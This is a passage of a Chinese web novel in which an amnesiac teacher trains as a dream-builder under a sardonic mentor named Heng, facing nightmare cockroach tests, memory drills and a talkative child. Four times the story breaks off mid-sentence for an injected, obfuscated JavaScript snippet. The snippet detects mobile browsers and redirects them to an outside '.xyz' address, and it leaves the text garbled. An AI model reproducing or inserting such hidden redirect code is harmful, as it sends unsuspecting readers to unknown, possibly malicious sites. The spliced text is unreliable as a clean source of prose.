但碍于她刚刚吐槽我“一个大男人居然怕蟑螂”,我决定用沉默掩饰我的尴尬。 “它还没跟你互动,你就吓醒了,”她睨我一眼,“浪费我脑力,建了个这么精细的模。” 这玩意还要跟我互动?幸好我被吓醒了。 我持续沉默,她持续不爽,我和她就这么僵持着。刚才蟑螂大腿乱舞的景象始终在我脑海里挥之不去,虽然我今天心率平稳,但身体受的刺激不大,心灵受的伤害很大,我干脆就赖在躺椅上不动了。珩在旁边站着,站了一会儿她看向我,我留意到她的眉头很快地抽了一下,之后她好像发现了什么,然后往我走了过来。 她忽然发问:“你还心慌吗?” 我下意识伸手摸了下自己心口的位置,心率很正常,我说:“还行啊。” 她又问:“你上次被吓醒的时候心慌明显吗?” “挺明显的,可能这次的蟑螂还没那么吓人?”我见她好像是在担心我,我又说了一句,“我现在还好,没什么事。” 她不说话了,只是莫名其妙地靠近我。她看起来是那种不喜欢别人靠近,甚至有点高冷的那种人,我一直都不自觉地和她保持一定的距离。但她今天好奇怪,她走得很近,之后甚至弯腰,脸和我只有几十厘米的距离。她的眼睛一直盯着我的脖子看,我不敢动,也不敢问,然后我看着她伸手来摸我的脖子,她的手特别冰,碰到我的那一刻我不由得瑟缩了一下,但我没躲她。 她冰凉的手指就压在我的颈动脉上,我能感觉到我的动脉一下一下均匀而有力地撞击她的手指。 她靠得更近了,几乎要贴上我的脸,我想往后退,但退无可退,我只好偏开脸。 “你不觉得有点奇怪吗?”她离得太近了,说话的时候声音和气息都逼到我面前,“你现在所看到,所感受到的一切。” “是,是有点……” “所以直到现在,你还没有怀疑过,你现在还在梦里?” “——啊?” “给你看一下我辛苦建的模吧,”她莫名地在我耳边说道,“那只大蟑螂。” 我没来得及反应过来她说的话是什么意思,贴在我身上的她就变成了那只腿有我人粗的大蟑螂,我听到了它在我身上摆动双腿时昆虫外骨骼摩擦发出的脆脆的嘎吱声,听到它翅膀高频振动时的嗡嗡声,但因为它的翅膀实在是太大了,它动起来的时候我周围在刮风。我连大喊都喊不出来,直接逃命一般从梦里惊醒。 醒来的时候场景没变,我躺在躺椅上,珩在我面前,幸好蟑螂不在。但她该死的恶作剧让我现在一看见她就会想起大蟑螂。没救了。她的形象成功在我的大脑里形成了联想,直直通向超级加倍大蟑螂。 “辨别能力评分,0。”她的嘴角现在是一个不高兴的弧度,“你自己摸摸,你被吓醒的时候心率是多少?” 我都不用摸,心脏都跳喉咙里了,至少150。 “这是最经典的迷惑梦,梦见从噩梦里惊醒,人就会放松警惕,然后轻易地相信接下来的一切是现实。” 她看我一眼,她虽然有些失望,但幸好没有完全失去耐心:“今天就到这里,看来你是真的全忘了,起来吧。” 我顶着仍在狂跳的心脏,浑浑噩噩地跟在她后面,刚刚几个乱七八糟的梦把我吓得现在还心有余悸,一想起那只蟑螂……我今晚回家第一件事就是搞卫生,去他妈的蟑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957362|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 螂,现在我这脆弱的心灵真是见不得任何一只蟑螂。 珩在前面走,我跟着她一路穿过走廊,穿过花园,又准备回到社区活动中心入口的长者饭堂。时间已是下午四五点,饭堂里一群百无聊赖的阿伯阿婆已经在等待开饭。我在走神,她走着走着忽然回头,我被她整得草木皆兵,一有风吹草动我就疑心她要变成大蟑螂,我直接被她吓了一跳,人没反应过来,脚已经后退一步。我一脸惊恐地看着她。 漂亮卷发阿姨就在外面,显然她是知情者之一,她一看我这架势,就知道我刚被珩精神上虐待完,她没忍住在一边偷笑。 “看来你很怕蟑螂啊。” 她不是人,她还挖苦我! 我瞪她一眼,她眼里笑意更深,看起来更开心了。 “放心,现在你醒了,真的。”她说,“你需要重头训练,我看看,你周一到周三是上午十点的课,周四周五是下午三点的课,周二带一节四点十分的体育拓展,嗯,你中午来?” 我四岁的脑子果然是很不好用,我听完就点头,点完头才忽然想起来一件可怕的事。 她为什么知道我的课表? …… 回家的时候我先是搞了次彻底的清洁,之后我一身臭汗地去洗澡。洗完澡我筋疲力竭,往沙发上一瘫,挂着电视里播的电影在走神。电影里的男女主角在亲嘴,我想起了那天我的春梦。那天他们都在做春梦,我在做噩梦,我还不止做一天的噩梦,我一连做了好多天的噩梦,今天还被大蟑螂骑脸,不对,被大蟑螂包裹全身。电视里人类唇舌交缠时发出的些许水声,和画面中若隐若现的一点身体曲线,在我混乱的大脑里打了个手电筒,它把相关的脑区照亮了,于是我除了那一小片区域,什么都想不起来。 然后我来了兴致,想找点什么东西看看,正爬起来要开电脑的时候,手电筒里的白光中,珩忽然出现。 我想起了我的课表。难怪她轻易地知道路迢是语文老师,知道我什么时候上课什么时候下课,因为她随随便便就能像翻书一样翻我的脑子看。 这也就意味着,我在她那里没有秘密,今天我看片,明天她看片,我看什么片,她就看什么片。 被折磨了十几天,难得恢复的一点兴致,瞬间就像下雨时候上坟烧香,风一吹雨一淋,什么都灭了。我把电脑一合,又瘫倒在沙发上。 电视里的两个主角还在亲。亲吧亲吧你们就亲吧!有本事接着拍!有本事给我看!我看完,明天我就带给珩看。 真是气死我了。 12. Abandon 第四章 珩说,学习要在安全的,舒适的环境进行,因为人脑就和电脑一样,每个人都有他固定的运行内存,一旦内存分了一部分去抵抗环境的干扰,剩下可用的部分就不足以支撑高级别的智力活动。我说有道理啊!我现在就跟中邪了一样,见不得阴,见不得冷,任何一丝能激起人类本能恐惧的体感,都会让我想起最近这每一个夜晚里将我纠缠其中的噩梦——那个灰绿色的水底图书馆——那种无可名状的寒冷,无声无息的恐怖,而我甚至还不曾真正走进那座图书馆的负一层。我好像只是经过一个巨大的冰窖,里面的寒气从门缝里钻出来,冷冷地喷在我的脚背上。 我说你让我挑个安全舒适的环境,那我们去楼顶吧,我要晒太阳。 我拖了两张阅览室的彩色胶凳,和她在社区活动中心楼顶的小花园里对面坐下。她从头到脚都藏在楼顶花园的大遮阳伞下,光和影的交界横在我和她之间,她在那头发话: “鉴于你什么都忘了,今天我先给你讲讲基础知识,之后再回楼下训练。” “没问题。” “主要内容包括这几个,梦境的一个核心,三个要素和建筑基础。” “不好意思,打断一下,你以前是政治老师?” “这不是体谅你记性差让你赶紧记住吗?你要听完整的大部头?” “没有没有,不是这个意思,我就是前段时间刚做完学校工会的政治测试,现在一听到核心要素基本点就犯困。您继续,您请继续——” “一个核心是辨别梦境和现实。” “好的,辨别梦境和现实,记住了。” “三个要素是观测,记忆和推理。” “好的,观测记忆推理。” “建筑基础是梦境稳定性。” “好,梦境稳定性。” 阴影里的她忽然抬了抬眼皮,昏暗的光线下她浅色的眼睛看起来分外的亮。 “一个核心是什么?” “……” 她倏地坐直:“我就等着你忘记,真自信啊你,还用你那大眼睛盯着我看?脑子记不住就拿笔记啊!” 严格来说,我的大脑里没有上学的记忆。但是谢谢她,我体会到了下大雨的时候我在班里看自习,班里学生看见数学老师抱着一叠改好的考试卷在外面神色不善地走过的恐惧。我被她这突然的暴起一喝吓了一跳,之后忙不迭“好好好”,然后手忙脚乱浑身摸笔。我当然是没有带纸笔的,我在那里徒劳地把自己摸了一轮,之后掏出手机开始打字。 “一个核心……不好意思,是什么?” 她双手环胸,往椅背上一靠:“辨别梦境和现实。” “好的,辨——别——梦——境——和——现——实——” …… 等我终于把这几点记下来了,她还靠在椅背上。她又开始说一些语焉不详的话了,上次她说这话是三层楼高大蟑螂出场,感谢她的蟑螂,我终于悟了她口中的“联想”,现在出现任何那天出现过的细节,我都会马上联想到大蟑螂和毛毛腿。 她说:“这几点你一直要记住,如果你现在记不住也没关系,之后实战训练会帮你永远记住。” 她肯定在训练场给我准备了无数只大蟑螂。我已经提前开始起鸡皮疙瘩了,真是谢谢她。 “无论你是要找自己的记忆,还是后面帮我干活,最基本的都是你的记忆力。”她欠身往前,往我怀里递了本书,“总论记住了,这个星期你的任务就是训练记忆力。你看看这个。” 我把书接过:“《六级词汇速记》?” “现实中的记忆分成两种,一种是跟图书馆那样的,可以通过顺序检索,背单词就是这种,另一种是联想记忆,也就是你背课文的记忆,按照叙事的逻辑去一步步记起。两种方法在记忆量、稳定程度和耐久上都有不同,你可以感受一下这两种的区别。翻开第一页。” 我低头翻书。 “第一个单词是?” “Abandon,a-b-a-n-d-o-n。” “给你十分钟的时间,把第一页的单词背下来,不用拼写。” Abandon,abbey,abbreviate,abbreviation,abduct,abide……知识它不进脑子,不仅不进脑子,它还吸氧气,好我又开始困了,这比一个核心三个要素建筑基础还好睡,一个核心是什么?完了忘了。不对,现在我没有在背一个核心,江夷,别分心!好,Abandon—— “江夷,你吃午饭了吗?” 珩之前都叫我“江先生”,她忽然直呼我的名字,我心里一震,之后抬头看她。 “哦,吃了,你呢?” “我也吃了。”她双手环胸,眼里又现出了那种老师点人起来回答问题时恐怖的目光,“背给我听听?第一页的单词。” “……Abandon。” “下一个?” “Ab,ab,ab……” 该死的午饭,该死的午饭,我刚刚还记得五六个的,她问我一句吃午饭了吗,我就开始想午饭吃了什么,一转头就只记得abandon了。 “这就是第一种记忆的特点,记忆时间短,被打岔之后观测中断,难以找到线索去重新唤醒记忆。”她走到我面前,弯腰翻我的书,“我本来想说,这种记忆一般范围就是五个单词,也就是到abduct,结果你只记得abandon了,我想想这话有点伤人,所以我收回。” 我想给她翻白眼:“你已经说出来了。” 她浅色的眼睛里又有些幸灾乐祸看热闹不嫌事大的笑意一闪而过。 “这种记忆没什么技巧,主要是靠专注,你得保证你始终有一部分脑区在它那里,才不会因为你的午饭而全部忘掉。” 她从口袋里掏出自己的手机,一顿乱戳之后,她把屏幕转向我:“现在我调了很多个闹钟,接下来闹钟将会随机响起,响一次我就问你一次,准备好了就开始。” …… 这个中午我就被她的最大音量雷达铃声反复折磨,我的记忆力是真的差,这破单词是真的难背,背了快半个小时,我的进度才终于超过了人类平均值。我感觉我的脑子已经快被她的闹钟吵炸了,她说十个单词就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969283|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放我休息,我一听闹钟响,一股脑地就把记得的单词都赶紧倒出来—— “Abandon,abbey,abbreviate,abbreviation,abduct,abide,abnormal,abnormallly,abolish……”九个,九个,妈的,下一个是什么? 第十个单词我没想起来,它那个位置忽然一片空白,第十一个……好像是它的名词形式。想不起来想不起来,两个单词双宿双栖一起被忘。 我快速地瞄她一眼,她还靠在椅背上,没有要拿书的意思。 “……abound。” 她眼周的皮肤轻微一跳,之后她睁开眼。 “是abort,abortion,abound。”她看我,“我发现你这个人很不老实,还想蒙混过关?” “会不会一码事,别把题空着,我这是对试题的尊重,读书人的事情怎么能叫不老实呢?” 她指尖戳戳我的书:“还顶嘴,继续背!” …… 背单词这件事是很折磨人,但是想到我那些丢失的记忆,不想熬也得熬下去。珩说在我区区四岁的人生里,没有学习的概念,加上天天下班就瘫在沙发上打游戏看抖音,在执行感官刺激非常低的任务时,专注能力约等于零。晚上我回到家,把手机塞到抽屉里,坐在沙发上,就开始背单词。开头我正襟危坐,背了一页我就坐成了自在观音,再背一页变成卧佛,再背一页睡着。这一觉睡得真香,六级是个好东西,我居然没做噩梦——睡着的时候没做噩梦,但是噩梦在现实里,等我一睁眼,我发现我又只记得一个“abandon”了。 这般强行训练了三天,我硬是按顺序背到了第十页。 那天中午我仿佛有种要面试的庄重,我坐在珩面前,开始abandon,abbey,abbreviate地背,她的闹钟依然随机响起,而且闹钟铃声每次都不一样,但经过刻意的训练之后,我好像理解了她之前说的“把一部分的脑区始终放在单词里”,虽然我的注意力不断被打断,但是好像总有一根丝连在我正在进行的任务中,短暂的分心过后,我循着这根细丝,又能兜兜转转地走回去。 天天在那里换着法子损我的某人,今天终于神情友善,态度温和,我大概是被她虐习惯了,她不骂我我就觉得她在夸我,不知道怎么的自己就开始乐起来了。 “心情很好?” “还行吧。” “今天晚上有安排吗?” “有没有安排取决于你要干什么。” “请你吃饭?” …… 我是真的很好骗。她就跟骗小孩一样骗我。她说“请我吃饭”,没说去哪里吃,没说吃什么,我一听“吃饭”,这该死的嘴马上就说“没有安排”。我一下班就直奔社区活动中心,然后就看见她拉着个刚放学的小学生站在花园里。小学生一看就是因为话太多,常年坐在飞机位那种,珩全程没说几句话,小孩那嘴还是叭叭叭地说了个不停。 一看我来,珩挥了挥手,之后对小孩说:“浩仔,你的新同桌来了。” 13. 珩在想谁 我指了指自己:“新同桌?” 她招手让我过去,我走到她面前。她稍稍侧过脸,好像要跟我说什么。我往她那边侧了侧头,她的声音在我耳边响起: “记忆力训练进阶版,”她说,“你背书,顺便辅导他写作业。” “啊?”我也小小声跟她说话,“不是说请我吃饭吗?怎么变成带小孩?” 她看向长者饭堂门口贴着的开饭时间:“六点开饭。” ……行。 珩伸手摸摸小孩的头,她对小孩和对我是两个态度,我从来没听过她这么温柔的声音。“浩仔,跟着哥哥写作业,不会就问他,吃饭之前我来检查,一定要写完哦!” 浩仔非常郑重地点点头,之后抬头看我,他伸出他的手,我愣了一下,才反应过来他是要我牵着他。 我就这么被一个看起来也就一二年级的小学生拉着走到桌子边上坐下。据浩仔所说,他有点怕黑,怕黑就连带着怕安静,所以活动中心里面的阅览室他不喜欢,他就非得在大厅里呆着。我说行,之后我跟他在大厅边上坐下,那边就是等着开饭的阿伯阿婆,一群人打牌下棋聊天,时不时就会爆发出一小阵笑声。 浩仔从书包里摸出一本数学练习册打开,珩给我塞过来一本乱序版六级单词,乱序比顺序更难背,按字母顺序排列的,我还能靠搜索字母表自我提示一下,乱序单词,就只能纯靠暴力死记了。 我翻开书,刚看第一个单词,隔壁浩仔就说话了。 “哥哥你叫什么名字?” 我没看他:“我叫江夷。” “江夷哥哥你在干嘛?” “背单词。” “为什么要背单词?” 他要是个大人我就不理他了,但他用他纯真的大眼睛盯着我看。 “因为哥哥要学习,哥哥要考试,你也要学习,你也要考试,快写作业,别聊天。”  munication,c-o-m-m-u-n-i-c-a-t-i-o-nmu—— “哥哥你知道吗?你是我第一个同桌。” “现在知道了。” “老师说我影响同学学习。” “是有点。” 浩仔忽然沉默,我这该死的讨好型人格,连对一个二年级的小孩都生效,我没忍住看他一眼。 “浩仔,现在我是你的同桌,你要证明给珩姐姐看,你不会影响同桌学习,然后珩姐姐回去告诉你的老师,你的老师就会对你改观,这样你才可能有个小同桌,明白吗?”我说,“我们一起安静地学习,好不好?” 刚刚有点失望的浩仔精神一振,又郑重地点点头。 太好了munication,c-o-m…… “哥哥你发现没有,珩姐姐的头发是绿色的。” ……救命。 我开始敷衍:“嗯。” “你知道她的头发为什么是绿色的吗?” “染的。” “不对!”他趴在桌上,又用他无辜的大眼睛看我,“她的绿头发是天生的!” 我拿手指戳了戳他的脸:“你小子,你学不学?” 我从口袋里摸出我学校的工作证,上面印着我的照片名字和工号,我把它摆到浩仔面前:“浩仔,你看清楚了哈,你哥哥我也是老师,你再不学习,我也可以罚你抄书的,明白了吗!” 浩仔神情一凛,马上缩回他的位置,开始看他的数学作业。 太好了,急死我了munication,c-o-m-m-u…… “哥哥,你是老师,为什么你还要考试啊?” …… 后来珩才告诉我,浩仔是不可能安安静静写作业的,我对他用的威逼利诱恐吓一系列手段,他的班主任和爸妈想必都用过了。那天晚上我被他弄得一个单词都看不进去,我心想,我不好过,你小子也不要好过,于是他无论跟我说什么,我都岔开话题,生硬地催他写作业。社区活动中心快关门的时候,浩仔的妈妈终于下班了,浩仔捧着破天荒地一题不落全部完成的习题册,冲到妈妈面前就讨表扬。 他妈妈心情也很好,带着小孩经过我和珩面前的时候,特意对我们说谢谢。浩仔看见我,马上热情介绍:“妈妈,这是我的新同桌,明天我还来,哥哥你也来!”我出于礼貌,艰难假笑,我心想,你小子明天还来,我这单词是不用背了。 目送他们母子俩离开,坐在我旁边的珩忽然说话。 “你有没有发现,浩仔很特别。” “发现了,”我烦闷地用鼻子喷了一口长气,把只看了两页的单词书盖上,“是很特别,话特别多。” “他跟你说话的时候没有停笔,你发现了吗?” 我看她:“啊?” 她的目光还停留在浩仔母子俩的背影上,他们已经走出社区活动中心门口路灯的照明范围,背影慢慢隐到夜色里去了。她托着腮,就这般看着,这种时候的她总让我有种恍惚,她看起来像个尘世外人,观察着人间纷繁喧闹的一切。 “他跟你说话的时候,大脑分成两部分,同时在工作,”他们的背影消失,她看向我,“这是筑梦师必备的技能之一,是需要训练才能习得的技能,他天生就有,而大家只觉得他话多,然后把他放到飞机位。他成绩不好不是因为他笨,是因为他还没有学会把他的‘主意识’转移到他最需要动脑的任务上,他的主意识在跟你聊天。” “什么意思?” “我举个例子,你在打游戏,这时候你的女朋友给你打电话,要跟你抱怨上班的烦心事,这时候你会怎么办?” “你这题超纲了诶,我四岁,不早恋。” 这时候的她好放松,跟她这样的特异功能人类相处了一段时间,我好像也发生了一点神奇的变化。当她放松的时候,我能感觉到她身上奇特的魔力弥散到空气里。这种魔力和我水底图书馆负一层的冷空气好像是一类东西,也许以前的我也和她一样,拥有类似的力量。 她轻轻笑了一下,之后看着我:“四岁小朋友,动用一下你的想象力?如果呢?” “那我随便回几句呗。烦死了,垃圾人,什么破工作,他们素质低,别跟这种人一般见识。” “你看,你的主意识这时候就在游戏里,你就跟挂机了一样,非常机械地进行回复她这件事。那现在问题来了,如果她说办公室里有个比你帅比你有钱,还不打游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975837|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的同事追她,她打算和你分手,你怎么办?” “啊?”真是为难我了,送命题,“那我就问她什么情况,跟她解释一下,然后哄哄她?” “你的主意识这时候就到女朋友这里来了。” “……我明白了,所以浩仔如果用他挂机那部分跟我聊天,用他的主意识学习,他就能自己好好学习,然后妨碍我这个普通人学习。”我挠挠头,“幸好他走了,你这话可别让他听到,不然我完蛋了,我这单词别指望背了。” 听到我的话,她的眼神似乎闪烁了一下。我很确信一部分过去的我苏醒了,他没在我的胸腔里,他醒了,他就在我的脑子里,我浑浑噩噩木头一般的感官变得澄明,我预感到她要说什么重要的话。而且是非常罕有的好话。 她说:“你可不是普通人,你以前是个很优秀的筑梦师。” 我是真被骂多了。我这个平平无奇毫无长处丢在人群里找不出来的失忆倒霉蛋,听到她的话,心跳直接漏一拍。她甚至夸的是过去的我,那个在我的胸腔里藏着的我,她夸的甚至不是现在真正活着的这个我。 我看不到我自己的脸,但我的眼睛现在肯定在发光。 “真的吗?” “骗你做什么。”我高兴得超出了她的预期,她身边围绕着的魔力好像也跟着发生了改变,四周有些欢快的空气在漂浮。 “我不信,你展开说说,你展开说说,让我听听我怎么个优秀法——” “我就说一句,你尾巴都翘到天上去了,展开说说你还得了?” “这说明你平时的‘鼓励教育’太少,物以稀为贵,所以你稍微说句好话我就飘了!” “江夷是你真名吗?” “啊?什么?” “我怎么感觉你姓赖啊?” …… 珩住的地方和我家是两个方向,九点钟社区活动中心关门,我站在门口,和她道别,之后看着她跨上自行车,上脚就蹬到最高速,转眼就消失在黑暗之中。珩随口说的那句话始终在我的心里回响,我说她没有鼓励教育,那纯粹是跟她开玩笑。我太普通了,太普通了,普通到我早就接受了自己非常普通的事实,从来没觉得自己是个特别的人,也没幻想过有一天会有一个白富美发现我身上的闪光点,然后给我很多的爱还有很多的钱。是的,我的理智告诉我,她欣赏的是那个被我遗忘了的我,但他也是我的一部分,我天然地有些盲目的积极,我想,在我平平无奇的人生里,发现了他的存在,也算是难得的一点色彩。 我看着刚才将珩的身影淹没的黑暗,刚才她也像我看她那样,漫长地看着浩仔和他的妈妈。认识她已经有一个月了,她总是那样看人——温柔而平静地看着来来往往的人群,温柔是生性使然,平静是置身事外。但她看向浩仔的目光里,似乎有些和平时不一样的东西。她平静的目光里似乎有些感情,但这感情又不在浩仔身上,她好像想起了什么,想起了谁。大概以前也有这样一个注意力不集中的天才筑梦师,她在浩仔身上看见了他的影子,她也许在想他。 想,想念一个人是什么感觉,被一个人想念又是什么感觉?我不想谁,也没有谁想我,所以我不知道。四岁的我今天又碰上超纲题了。 14. 等 “观测形成记忆,记忆是构筑一切的材料,所以阅历越丰富的人,理论上来说想象力越好。” “好的,明白了,‘见多识广’。” “同时,记忆力越好,对于真实物件的认识越深,面对可以以假乱真的梦境时,才能通过细节辨别出当前环境的真假。” “好的,明白了,‘格物致知’。” “人的意识像一个装满水的U形管,一般人睡觉,是从水面的现实世界沉入水底梦境的过程,而一个优秀的筑梦师,他能从水底游向另一边的水面,所以他虽然在梦里,人和醒来的时候没有区别,他在梦里依然能思考,而且有非常好的推理和判断能力。” “好的,明白了,‘梦断魂劳’。” 珩在桌子对面托着腮,看我用潦草的字迹记笔记,看着看着,她忽然叫我。 “路迢最近怎么了?” 我惊讶地抬头看她,之后我反应过来,我是个轻易近朱者赤近墨者黑的人,跟珩呆久了,我不知不觉间就学来了她严肃地说话时笔直又冷硬的目光,这让我班里几个没大没小的八卦学生发现了,一个个都跑来问我,是不是交了个当班主任的女朋友。 “那小子暗恋英语科新来的实习老师,天天拉我当军师。”我说,“我被他传染了是吧,他就这样,不爱说人话。” “他找你当军师?”珩像听了个笑话,“你们两个真是一个敢教,一个敢听啊?” 我发现珩这个人说话挺难听的,她对于挖苦我这件事有分外高涨的热情,我没见过她跟其他成年男性相处的样子,所以我不知道她是生性如此,还是欺负我脾气好。一开始我出于对她的尊重和少许的敬畏,从来不反驳,但现在大家熟了之后,我也不忍她了,她这个人肯定是有什么奇怪的癖好,我开始反驳之后,她更喜欢挖苦我了,我给她的反馈激起了她的兴趣,她要是在中学里,肯定是那种事很多人很烦到处找人掐架,班主任找她谈话她连班主任都怼的那种女生。 “我虽然是没有经验,但是人的共性大于个性,我根据我这些年来观察人类得出的普适性结论,经由推理得出了合适的方案,从而给了他行之有效的建议,所以,”我学她拿食指敲桌面,“他现在追到了好不好?请你放下对我的偏见,不要总是轻率地质疑我的智慧和能力,好吗?” “路迢长得挺好看的吧?” ……她还是太聪明了。 事情的真相是路迢问了我一堆怎么约人家出来看电影,我给了一堆纯属瞎掰毫无作用的建议,最后路迢被我指挥得头晕脑胀,干脆决定打直球,因为他长得太好看了所以他一问,人家就同意了。 我不理她了,低头看以前的笔记。她就喜欢看我吃瘪,我的周围又出现了那种欢乐的空气。虽然我现在还在训练阶段,但是我可以预见,按照她的行事风格,等我真的要给她当学徒的时候,她肯定会把我整得很惨。想到这里,胸腔里的江夷又给我踢了一脚,痛得我又没忍住西子捧心。 虽然珩是个薛定谔师父,挖苦我作弄我的时候行为恶劣,毫无师表,但使唤我干活的时候又摆出师父的架子,让我辅导小孩写作业陪阿伯阿婆打太极还给饭堂搬菜,但我不得不说,她在记忆力训练上确实是个大师。我一个磁盘损坏常年不动脑子的人,经过她一个月的训练,记忆力大幅提升,她让我背圆周率,这种完全没有规律的东西,就得靠联想才能记住。她把我关进一个黑漆漆的梦境里,每一位数字都是十个门,让我选着走。虽然她的手段十分残忍,走错门会随机出现女鬼丧尸大蟑螂,但我的潜能确实被她有效地激发出来,以至于有天经过路迢带的三班门口,我看见两个背书没过关的人在那里一边背《出师表》一边骂诸葛亮,我把书拿过来看了两眼,之后一字不落地把整篇《出师表》背了一次。两个人惊讶地看着我,然后小小声问:“江老师!你怎么背的?” 那一刻我想起了好多次我打开黑色的门,里面飞出来三万只黑色的蟑螂,我在梦里尖叫,哭爹喊娘,辱骂地球,珩给我留的求救口令是充满耻辱的“我不行了求你了救我”,我必须真情实感一字不少地喊出这句话,她才会大发慈悲把我从噩梦里拉出来。后来我被她虐多了,什么都见惯不怪了,蟑螂飞我脸上身上,我镇定自若地一只只把它们抓下来,关上门就继续想我该选哪个数字。 此间辛酸又怎能为外人道,我看向满脸写着崇拜的两个学生,挂上珩的严肃表情,教育道:“听你们路老师的,多读多看多背。你以为我刚刚背的啊?我跟你们这么大的时候背过,到现在还记得!还骂诸葛亮,你们要理解他的感情才能记住他的逻辑。快背!” 在我开始训练的第三十四天,我背到了圆周率小数点后第三百位。 那天我走出圆周率的第三百道门,门的后面终于不再是门,阴暗潮湿的沟渠到了尽头,我看见了一条往上走的楼梯。被珩吓了这么多天,我看见这种不知道通往什么地方的楼梯,心里已经没有畏惧,我循着楼梯走了上去,空气变得干燥,周遭也变得明亮。我忽然看见一扇打开的门,我走出去,外面是一大片篮球场,球场很简陋,灰色的水泥地,上面画着白色的场地线。而珩穿着她平时的宽大T恤和牛仔短裤,正站在篮球架边上,她面朝着我出来的门口,似乎在等我。 也许是在黑暗里待得太久,操场看起来分外的明亮,分外的温暖,分外的……令人向往。在我二十六年(严格来说是四年)的人生里,很少有历尽艰辛而终于做成某事的时刻。考研二战上岸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979942|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路迢说,拿到录取通知书的那一刻,觉得像走出了一扇门,自己衣服上都是泥泞汗水甚至是血迹,但是门外很亮,亮得他失去理智,连伤痛都觉得甜蜜。走出去的时候,我想起了过去珩跟我说过的好多话,什么这是最经典的迷惑梦,用温暖和光明迷惑你,等你走到一半,地面就会塌陷……云云。按照我对她的了解,她这么狡猾的一个人,确实有可能这么干。但又按照我对她的了解,虽然她有时候很冷漠,有时候甚至很残酷,但她是个善良的人。在这样一个时刻,我赌这路上没有陷阱。 我向她走过去,她就靠在篮球架上看我,对不起,对不起,我肯定是被蟑螂吓多了,我有点过分紧张了。一米没陷阱,两米没陷阱,路上真的一个陷阱都没有,赌赢的感觉很好,好像那一刻,我和她之间产生了一些联系,终于不再是我单方面被她像翻书一样翻,我也有猜中她想法的时候。这一段路对于我来说简直可以算是奖赏,安全,明亮,温暖,路那头还有人在等我。 等…… 等? 从来没有人这样等我。每一年,中考,高考,每次考完试,我都会看见家长们在门口等着接孩子,无论考的是好是坏,每个小孩都急迫地跑向自己的父母,想要赶紧回家。而我呢?从来没有人等我。 操场建在我的意识里,那一刻我分明感觉到我的心神有一瞬间的动荡,操场随之剧烈摇晃了一下,珩差点没站稳,我赶紧冲到她面前要扶她,但她在我碰到她之前,就站稳了脚。我若无其事地收回手,她抬头看我。 “你怎么了?”她眼里还有些笑意,她显然以为刚才的动荡是因为我太高兴了。 我很难跟她说实话,我很难告诉她,刚才的地震是因为你是第一个这样等我出来的人。 仅仅因为有人在考场外面等待,就要激动得在意识里引起一场地震,这听起来实在有些太寒酸了,显得我很没见过世面,虽然我确实是这样。我大概是出于一些自尊上的需要,或者是别的,我选择了说谎。珩以为我是太高兴了,我没有反驳,她领着我走向教学楼的时候,我心虚地希望她今天没有平时那么细心。 教学楼和地下的训练场,完全是两个风格。之前听珩说过,筑梦师到了后期,因为构筑梦境的能力过于强大,虚幻世界的细节十分饱满,和实物几乎没有差别,为了不让自己迷失在梦境里,他们会建造和现实完全不同的背景环境,以此作为区分的依据。地下的建筑显然是珩凭空建造的,原型大概是城市里某条臭烘烘的大排水渠。但现在这座学校,场景非常真实。 我以前是个筑梦师,这一点我可以确认是真的,我的身体里还保留着一些长时间训练留下的痕迹,珩对我这短短一个多月的训练,唤醒了我一部分的本能。 15. 走近科学 珩说分辨梦境和现实,是最后一个阶段的训练,我现在还没到那一步,但我的直觉已经在自动辨别周围的一切。这座学校是有原型的,而它和它的原型十分相似,它几乎是一段记忆的复现。记忆是人对客观现实的主观记录,根据记忆重建的梦境,会留下一些筑梦师对这段记忆的情绪。我一走上楼梯,我就能感觉到教学楼里温暖的空气,和带着些许咸腥味道的微风。环境里天然地带着光和热,我能感觉到筑梦师对它的不舍和留恋,它是一处活的环境,和地下那条纯纯质料毫无人类活动痕迹的下水道截然不同。 